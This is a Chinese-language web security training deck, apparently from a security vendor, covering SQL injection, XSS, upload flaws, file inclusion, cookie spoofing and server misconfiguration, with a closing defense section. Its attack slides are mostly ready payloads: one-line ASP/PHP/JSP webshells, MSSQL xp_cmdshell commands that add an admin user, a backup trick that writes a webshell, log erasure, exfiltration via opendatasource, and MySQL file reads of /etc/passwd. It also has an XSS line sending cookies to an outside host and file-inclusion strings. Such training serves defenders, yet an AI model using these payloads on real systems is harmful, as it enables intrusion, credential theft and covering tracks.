WEB服务安全

密级：内部使用

© 2008 绿盟科技

课程内容

- WEB安全概述
- 常见安全漏洞描述
- 典型攻击手法
- 安全漏洞的防范

WEB安全概述

- WEB毫无疑问是当下最流行的攻击方法:
  - 互联网的快速发展,使得WEB如雨后春笋般涌现;
  - 企业内部网络架构越来越好，主机系统越来越安全，使得从直接系统远程溢出的年代远去。WEB作为一个企业的形象，必然完全对外开放，成为攻击者的唯一下手点;
  - WEB程序员的安全意识的缺乏，以及编程上的逻辑错误，导致WEB程序脆弱不堪;
  - WEB攻击门槛较低，手法简单，工具繁多，效果明显，成为许多初级黑客的入门第一步。

- WEB安全包括了：
  - WEB服务器软件的攻击及修补方法
  - WEB服务器软件的安全配置
  - WEB程序的安全编程方法

常见安全漏洞描述

- SQL注入
- 跨站
- 上传漏洞
- 文件包含（PHP特有）
- Cookie欺骗
- WEB配置缺陷，如信息泄露，权限验证不严
- WEB服务器软件本身漏洞，如IIS,APACHE存在的软件漏洞

- 漏洞简介
  - WEB程序将客户端输入当作SQL语句执行
- 漏洞成因
  - 对用户输入中包含的SQL关键字过滤不严

常见安全漏洞—跨站脚本漏洞

- 漏洞简介
  - 攻击者通过诱骗受害者点击特殊编码的**URL**，来窃取用户**cookie**，或者给用户中上木马后门程序
- 漏洞成因
  - **WEB**程序对**html**参数过滤不严

常见安全漏洞—上传漏洞

- 漏洞简介
  - 恶意攻击者上传**WEB**支持的动态脚本程序（如**asp**，**php**，**jsp**等）来获取服务器一定权限，是最为严重的**WEB**脚本漏洞。
- 漏洞成因
  - **WEB**程序对于用户上传的附件类型不做检测

常见安全漏洞—文件包含

- 漏洞简介
  - **WEB**程序将客户端输入当作正常文件进行包含
- 漏洞成因
  - 对要包含的文件变量名没有进行初始化或者检测。

常见安全漏洞— Cookie欺骗

- 漏洞简介
  - 利用工具修改客户端的**Cookie**欺骗服务器端**WEB**程序
- 漏洞成因
  - **WEB**程序使用明文**Cookie**
  - **WEB**程序仅仅使用**Cookie**进行身份验证

常见安全漏洞— WEB配置缺陷

- 漏洞简介
  - 利用**IIS，APACHE，TOMCAT**等常见**WEB**服务器配置错误，刺探**WEB**网站和服务器的相关信息
- 漏洞成因
  - 利用**IIS，APACHE，TOMCAT**等常见**WEB**服务器软件没有进行正确配置

常见安全漏洞— WEB软件本身漏洞

- 漏洞简介
  - WEB服务器软件本身存在漏洞，造成远程溢出，信息泄露等漏洞
- 漏洞成因
  - 编码者的错误代码

典型攻击手法—SQL注入攻击

- ACCESS + ASP注入攻击方法:
  - 猜解数据库中关键信息
- ACCESS +ASP注入典型代码:
  - Id = request(“id”)
  - Sql = “SELECT * FROM [News] WHERE ID=“ & id”
  - ...
  - Rs = conn.execute(sql)
  - ....
- ACCESS + ASP注入攻击步骤:
  - 1.寻找注入点
  - 2.猜测表名
  - 3.猜测列名
  - 4.登陆后台
  - 5.后续工作(修改消息，上传脚本后门等等)

- 什么是脚本后门(webshell)?
  - 脚本后门(webshell)是利用WEB编程语言编写出来的具有一定后门性质的脚本程序
  - 对WEB服务器软件的依赖性很大
  - 常见的脚本后门类型有cgi，asp，php ,jsp
- 一个脚本后门应有的功能:
  - 文件管理
  - 数据库管理
  - 命令执行
  - 注册表读取
  - 杂项,如服务器信息刺探,端口刺探等等

- 常见的脚本后门分为功能完整的大后门（大马）和短小精悍的一句话后门,在服务器装有杀毒软件的情况下,大后门往往是被消灭的对象。所以一句话后门越发受到重视和青睐：
  - ASP一句话木马：<%execute request(“l”)%>
  - Php一句话木马：<?php eval($_POST[cmd])?>
  - JSP一句话木马(非严格意义):
  - <%
    if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
    %>

- ACCESS + ASP注入攻击语句:
  - 判断注入:
  - AND 1=1
  - AND 1=2

  - 猜测表名:
  - and (select count(*) from [pwd])>0

  - 猜测列名:
  - and (select count(name) from [pwd])>0

  - 得到name字段中id=1记录的长度:
  - and (select len(name) from [pwd] where id=1)>0 ' name长度为5

  - 猜测name字段中id=1记录的内容:
  - and (select [name] from [pwd] where id = 1 and mid(name,1,1)='a')=0

典型攻击手法—SQL注入攻击

- ASP+MSSQL的攻击手法:
  - 数据猜解
  - 数据增加,删除,修改
  - 执行CMD命令
  - 目录读取
  - 上传文件
  - 差异备份
  - opendatasource宏备份数据
- ASP + MSSQL典型错误代码:
  - (同ACCESS + ASP)
- ASP + MSSQL攻击步骤:
  - 1.寻找注入点
  - 2.根据MSSQL攻击手法进行选择

- ASP+MSSQL的攻击语句:
  - 猜测表名:
  - AND (SELECT TOP 1 char(27)%2b[NAME]%2bchar(27) FROM [SYSOBJECTS] WHERE xtype = 'u')>0-- '爆第一表
  - AND (SELECT TOP 1 [NAME] FROM [SYSOBJECTS] WHERE xtype='u' and [NAME] not in('D99_TMp','Aclass'))>0-- '猜解下个数据表
  - 猜测列名:
  - AND (SELECT TOP 1 [NAME] FROM [SYSCOLUMNS] WHERE id=OBJECT_ID('Aclass'))>0--
  - AND (SELECT TOP 1 [NAME] FROM [SYSOBJECTS] WHERE id=OBJECT_ID('Aclass') and [NAME] not in('class'))>0--
  - 猜测内容:
  - AND (SELECT TOP 1 [username] FROM [admin])>0--
  - AND (SELECT top 1 [password] FROM [admin] where [username]='admin')--
  - AND (SELECT TOP 1 [username]%2bchar(27)%2b[password] FROM [admin])>0—

- ASP+MSSQL的攻击语句(续):
  - 列出其他数据库:
  - AND (SELECT top 1 [NAME] FROM master..sysdatabases where dbid=1)=0--

  - 跨库查询:
  - AND (SELECT top 1 [NAME] FROM master..sysdatabases where dbid=1)=0—

  - 探测服务器信息
    - MSSQL服务器名称:

    - AND @@servername=0--

    - MSSQL数据库服务器版本
    - AND @@version=0--

    - MSSQL当前用户名:
    - AND user=0--

    - MSSQL当前数据库名:
    - AND db_name()=0--

- ASP+MSSQL高级注入语句:
  - 执行CMD:
  - ;exec master..xp_Cmdshell 'net user admin admin /add'--
  - ;exec master..xp_cmdshell 'echo 1 > c:\2.txt'--
  - 目录读取:
  - ;CREATE TABLE [dir](a varchar(400) , b varchar(400) , c varchar(400))--
  - ;INSERT INTO [dir](a,b,c) exec master..xp_dirtree 'C:\',1,1
  - AND (SELECT TOP 1 a FROM [dir])>0
  - 读取的另一种方式:
  - EXEC Master..xp_subdirs 'c:\'

- ASP+MSSQL高级注入语句(续):
  - 差异备份:

    - alter database article set RECOVERY FULL--
    - create table ciba (a image)--
    - backup log article to disk = 'c:\windows\system32\cmd' with init--
    - ;insert into ciba (a) values (0x3C25657865637574652072657175657374282226C2229253E)--
      '<%execute request("l")%>
    - backup log article to disk = 'C:\darticle3.4\darticle3.4\test2.asp'--
    - drop table ciba;
    - alter database article set RECOVERY SIMPLE

- ASP+MSSQL高级注入语句(续):
  - 日志擦除:
    - backup log article to disk='C:\WINNT\system32\LogFiles\W3SVC3\ex090508.log' with format--
  - OPENDATASOURCE宏复制SQL数据库数据(亦可以得到SQL服务器IP):
    - insert into opendatasource('sqloledb','server=192.168.21.189;uid=sa;pwd=123456;database=test').test.dbo.a(A) select name,id from sysobjects where xtype='u'--

- PHP + MYSQL的注入攻击手法:
  - 数据猜解
  - 系统关键信息读取
  - 文件读取
  - 文件导出
- PHP + MYSQL的典型错误代码:
  - $id = $_GET[id];
  - $sql = “SELECT * FROM [News] WHERE id=“ .$id;
- PHP + MYSQL的注入攻击步骤:
  - 1.同ACCESS + ＡＳＰ注入方式
  - 2.读取文件->得到mysql账号密码->远程登录mysql->其他操作(导出文件,导出数据等等)

- PHP + MYSQL的注入攻击语句:
  - 字段长度猜解
  - and 1=2 union select 1/*
  - 或 order by 1/*

  - 查询数据库中的表:
  - and 1=2 union select 1,2,3,4,5,6,7,8,9,table_name,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables/*

  - 查询数据库中的字段:
  - and 1=2 union select 1,2,3,4,5,6,7,8,9,column_name,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 FROM information_schema.columns where table_name=0x434841524143544455525F53455453/*

- PHP + MYSQL的注入攻击语句(续):
  - MySQL文件读取:
  - and 1=2 union select 1,2,3,4,5,6,7,8,9,10 ,load_file(0x633A5C626F6F742E696E69),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36/*

  - Windows下应用:
  - 1.读取serv-u ftp的配置文件
  - 2.读取apache的配置文件
  - 3.其它默认配置文件

  - Linux的应用:
  - 1./etc/passwd
  - 2./etc/httpd/conf/httpd.conf
  - /usr/apache/conf/httpd.conf
  - /usr/apache2/confi/httpd.conf
  - 3./etc/hosts

  - 文件导出:
  - and 1=2 union select 1,2,3,4,5,6,7,8,9,user(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 into outfile 'c:\boot.txt'/*

典型攻击手法—跨站攻击

- 跨站攻击方法:
  - 盗取cookie信息
  - 网站挂马(不需要网站控制权)
- 跨站攻击典型错误代码:
  - Content = request(“content”)
  - Call SaveToDataBase(Content); ‘直接将数据保存到数据库中
- 跨站攻击步骤:
  - 寻找XSS漏洞
  - 在存在XSS漏洞的地方插入恶意的HTML代码

- 跨站攻击典型语句:
  - Javascript:window.alert(“xss”)
  - <iframe src=http://www.xxx.com/xx.html width=0 height=0></iframe>
  - <script>document.write("<iframe src='http://xxx.com/cookie.asp?cookie=" + document.cookie + "' width=0 height=0></iframe>")</script>

典型攻击手法—上传漏洞

- 上传漏洞的攻击方法:
  - 直接上传webshell
  - 绕过本地限制上传webshell
  - 加'\0'绕过上传
  - 其他(根据代码的不同,采用不同的办法)
- 上传漏洞的典型错误代码:

```
'if right(tFile,4) <> ".bmp" then exit sub      '只做简单检查,或者根本不做检查
SaveToFile(tFile)      '保存文件
```

- 上传漏洞的攻击步骤:
  - 1.寻找上传漏洞
  - 2.根据WEB脚本的限制,采用具体办法绕过上传webshell

典型攻击手法—文件包含

- 文件包含漏洞的攻击方法(仅PHP):
  - 远程包含(php4)
  - 本地包含
- 文件包含漏洞的典型错误代码:
  - <? $g4[path]=$_GET[path];　　//变量未初始化
  - include_once("$g4[path]/config.php")?>;
- 文件包含漏洞的攻击步骤:
  - PHP文件包含漏洞由于其特殊性—事先不知道变量名,所以需要根据PHP文件具体分析才能得到

- 文件包含漏洞的攻击语句示例:
  - 远程包含:
    - test.php?path=http://www.xxx.com/xx.txt
  - 本地包含:
    - test.php?path=../.../../etc/passwd

典型攻击手法—cookie欺骗

- Cookie欺骗攻击方法:
  - 修改或增加cookie,来绕过脚本代码的限制
- Cookie欺骗典型错误代码:
  - name = request.cookie(“name”)
  - If name =“” then ‘只验证了name是否为空
    - response.write “请先登录”
    - Response.end
    - Else
    - DoSomeActs….
  - End if
- Cookie欺骗典型步骤:
  - 需要白盒审计,来确定是否有cookie欺骗漏洞

- Cookie欺骗攻击典型语句:
  - Javascript:window.alert(document.cookie=“user=admin”);
  - (或者利用工具直接修改cookie)

典型攻击手法—WEB配置缺陷

- WEB配置缺陷攻击方法:
  - 使用专业漏洞扫描器进行扫描
- WEB配置缺陷典型错误配置:
  - 目录可浏览
  - 目录开放写权限
  - 关键文件不做访问限制
- WEB配置缺陷攻击方法:
  - 使用专业漏洞扫描器进行扫描

实战操作:WEB扫描器的使用

- 目标:
  - 学习Acunetix Web Vulnerability Scanner的对WEB进行安全扫描

实战操作:IIS写权限的利用

- 步骤:
  - 扫描存在IIS写权限的主机
  - 使用IIS写权限利用程序上传文件

典型攻击手法—WEB服务器软件漏洞

- WEB服务器软件本身漏洞的攻击方法:
  - 使用专业漏洞扫描器,对已公布WEB软件漏洞进行扫描
  - 关注最新发布的漏洞
- WEB服务器软件常见漏洞:
  - IIS 6 WebDAV Bypass(new)
  - Unicode二次解码漏洞
  - .Ida,.idq漏洞
  - Apache文件解析缺陷

小知识：APACHE文件解析缺陷

- 漏洞名称:
  - APACHE文件解析缺陷
- 漏洞描述:
  - 在低版本的apache(1.2.x)中,如果文件的后缀名带有.php,apache会将此文件作为PHP文件解析.若PHP脚本对上传文件类型做了限制,但不修改上传后的文件名,就造成了上传漏洞
- 漏洞利用方法:
  - 将webshell xx.php改成xx.php.rar上传

- 漏洞名称:
  - Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
- 漏洞作用:
  - 通过此漏洞可以读取一个需要验证的WEB目录下的文件
- 漏洞利用方法:
  - 寻找存在漏洞的主机
  - 构造数据包
  - 得到文件内容

其它攻击手法

- 脚本常用高级攻击手法：
  - 1.google搜索法：
    - inurl:asp?
    - site:xxx.com inurl:asp
    - intitle:index of
  - 2.旁注攻击
  - 3.备份文件及常见文件猜解
  - 4.后台默认口令以及弱口令猜解
  - 5.任意文件下载
  - 6.默认数据库路径（针对ACCESS）
    - Data/dvbbs7.mdb
    - Database/powereasy2005.mdb

安全漏洞的防范

- SQL注入防范
- 跨站攻击防范
- 上传漏洞防范
- 文件包含防范
- Cookie欺骗防范
- WEB配置缺陷防范
- WEB服务器软件漏洞防范

安全漏洞的防范—SQL注入防范

- 防止注入攻击的办法是对用户的输入进行验证,将有害的数据信息过滤掉:
  - 手工修补代码
    - 对于数字型的注入,将变量强制转换成数字型
    - 对于字符型的注入,过滤掉单引号,以及注入常用关键字
  - 使用防注入脚本
  - PHP可以对php.ini进行配置防止字符型注入
    - Magic_quote_gpc = ON
  - 使用带有过滤功能防火墙—绿盟冰之眼Web应用防火墙

实战操作:手工修补注入代码

- 1.对于ASP下的数字型注入的有效修补方案是使用Cint或者CLng过滤。
- 2.ASP下的字符型的注入有效修补方案是过滤掉”’”。

实战操作:SQL脚本的防注入功能及缺陷

- 使用防注入脚本防止ASP注入
  - 1.查找有注入漏洞的asp脚本
  - 2.将防注入的ASP脚本存放到根目录下
  - 3.将ASP防注入脚本include到有注入漏洞的脚本中

- 绕过防注入脚本继续注入
  - 多数的防注入脚本只过滤了QueryString和Form的数据,采用Cookie注入可以突破防注入脚本的限制。

  - Request得到数据:
  - QueryString：Get
  - Form：Post
  - Cookie：Cookie(易忽略点)

安全漏洞的防范—跨站攻击防范

- 对用户输入数据编码：
  Asp:server.htmlencode函数
  Php:htmlspecialchars函数
  asp.net:HttpContext.Current.Server.HtmlEncode
  jsp:默认没有提供过滤方法，需要自写方法。
- 过滤危险的html关键字符：
  比如：script/iframe等。

安全漏洞的防范—上传漏洞的防范

- 检查文件名是否包含‘\0’字符。
- 采用白名单方式允许上传文件类型。
- 针对图片上传,可以采用第三方组件判断上传的文件为正确格式的图片
- 文件重命名,硬性定义为一个后缀名

安全漏洞的防范—文件包含漏洞

- 对变量进行初始化
- 对每个变量进行审计
- 设置php.ini文件关闭远程包含(php5默认关闭)
  - allow_url_include = Off

安全漏洞的防范—Cookie欺骗防范

- 采用session验证代替cookie认证。一般适合web系统安全性要求比较高的情况下:

  ——后台管理等。
- 增加多参数验证cookie有效性:

  ——如验证访问者ip是否与上次IP一样等

安全漏洞的防范—WEB配置缺陷防范

- 根据安全加固手册对WEB服务进行正确配置
- 使用漏洞扫描器确定WEB服务是否存在配置缺陷

安全漏洞的防范—WEB服务器软件漏洞防范

- 根据安全加固手册对WEB服务进行加固
- 采用防火墙规则过滤恶意代码
- 使用漏洞扫描器确定WEB服务是否存在配置缺陷
- 时刻关注新漏洞以及补丁情况


谢谢！